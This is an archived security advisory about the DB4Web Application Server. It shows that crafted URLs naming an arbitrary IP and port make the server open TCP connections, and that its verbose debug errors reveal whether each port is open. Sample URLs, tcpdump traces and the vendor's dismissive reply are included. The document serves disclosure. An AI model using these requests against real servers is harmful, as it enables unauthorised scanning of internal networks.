COMMAND

	DB4Web error reporting can be misused as a port scanner

SYSTEMS AFFECTED

	DB4Web Application Server

PROBLEM

	In  Guardeonic  Solutions  AG  [www.guardeonic.com]  security   advisory
	#02-2002 :
	

	The DB4Web (R) application can  be  misused  to  send  TCP  SYN  packets
	(initiate TCP connections) to arbitrary IP Adresses  and  TCP  Ports  by
	sending special http requests.
	

	Decription:
	

	A DB4Web (R) server accessed with a webbrowser  usually  requests  local
	or remote databases  to  generate  dynamic  html  pages.  By  requesting
	malicious URLs one can manipulate the server to query  an  arbitrary  IP
	with a freely definable port. The application will send TCP SYN  packets
	to  establish  a  connection.  The  error  messages  of  successful  and
	unsuccessful tcp connections are  different.  Thus  it  is  possible  to
	portscan/fingerprint IPs accessible for the DB4Web (R) server.
	 

	Example:
	

	The scenario was tested with a  system  running  SuSE  Linux  7.3  which
	includes a trial version of  DB4Web  (R)  and  a  linux  system  running
	tcpdump.
	

	On the DB4Web (R) server (172.31.93.158) the URL
	

	http://127.0.0.1/DB4Web/172.31.93.30:22/foo

	

	is requested by Mozilla (Webbrowser). 172.31.93.30  is  the  IP  of  the
	system running tcpdump with port 22 open  (sshd).  Tcpdump  reports  the
	3-way handshake and the reset due to wrong protocol used by  the  server
	(the listener runs sshd on port 22).
	

	Tcpdump's output looks:
	

	17:25:13.671550 172.31.93.158.1449 > 172.31.93.30.22: S

	266670866:266670866(0) win 5840 <mss 1460,sackOK,timestamp 1232639

	0,nop,wscale 0> (DF)

	17:25:13.671663 172.31.93.30.22 > 172.31.93.158.1449: S

	279647520:279647520(0) ack 266670867 win 5792 <mss 1460,sackOK,timestamp

	11683562 1232639,nop,wscale 0> (DF)

	17:25:13.674917 172.31.93.158.1449 > 172.31.93.30.22: . ack 1 win 5840

	<nop,nop,timestamp 1232639 11683562> (DF)

	17:25:13.678327 172.31.93.30.22 > 172.31.93.158.1449: P 1:23(22) ack 1

	win 5792 <nop,nop,timestamp 11683563 1232639> (DF)

	17:25:13.680997 172.31.93.158.1449 > 172.31.93.30.22: . ack 23 win 5840

	<nop,nop,timestamp 1232640 11683563> (DF)

	17:25:13.684046 172.31.93.158.1449 > 172.31.93.30.22: P 1:961(960) ack

	23 win 5840 <nop,nop,timestamp 1232640 11683563> (DF)

	17:25:13.686428 172.31.93.30.22 > 172.31.93.158.1449: . ack 961 win 8640

	<nop,nop,timestamp 11683564 1232640> (DF)

	17:25:13.688520 172.31.93.30.22 > 172.31.93.158.1449: P 23:42(19) ack

	961 win 8640 <nop,nop,timestamp 11683564 1232640> (DF)

	17:25:13.690469 172.31.93.30.22 > 172.31.93.158.1449: R 42:42(0) ack 961

	win 8640 <nop,nop,timestamp 11683564 1232640> (DF)

	

	The browser  shows  a  lot  of  debug  stuff  reported  by  DB4Web  (R),
	especially the line:
	

	connect() ok

	

	And a few lines later:
	

	callmethodbinary_2 failed

	

	An URL like
	

	http://127.0.0.1/DB4Web/172.31.93.30:555/foo

	

	requests TCP port 555 which is closed on the listening system.
	

	Tcpdump reports three connection attempts:

	17:38:59.965559 172.31.93.158.1451 > 172.31.93.30.555: S

	1127433463:1127433463(0) win 5840 <mss 1460,sackOK,timestamp 1314829

	0,nop,wscale 0> (DF)

	17:38:59.965654 172.31.93.30.555 > 172.31.93.158.1451: R 0:0(0) ack

	1127433464 win 0 (DF)

	17:39:00.991971 172.31.93.158.1452 > 172.31.93.30.555: S

	1127433466:1127433466(0) win 5840 <mss 1460,sackOK,timestamp 1314930

	0,nop,wscale 0> (DF)

	17:39:00.992066 172.31.93.30.555 > 172.31.93.158.1452: R 0:0(0) ack

	1127433467 win 0 (DF)

	17:39:02.012012 172.31.93.158.1453 > 172.31.93.30.555: S

	1127433469:1127433469(0) win 5840 <mss 1460,sackOK,timestamp 1315031

	0,nop,wscale 0> (DF)

	17:39:02.012107 172.31.93.30.555 > 172.31.93.158.1453: R 0:0(0) ack

	1127433470 win 0 (DF)

	

	The debug message is different now and contains:

	connect() failed: Connection refused

	

SOLUTION

	The DB4Web teams does not classify this behavior as a  security  related
	bug. They define the verbose debug messages  as  a  feature  useful  for
	developers.  The  DB4Web  teams  states,  that  it  is   the   customers
	responsibility to substitute the debug page with a custom error page.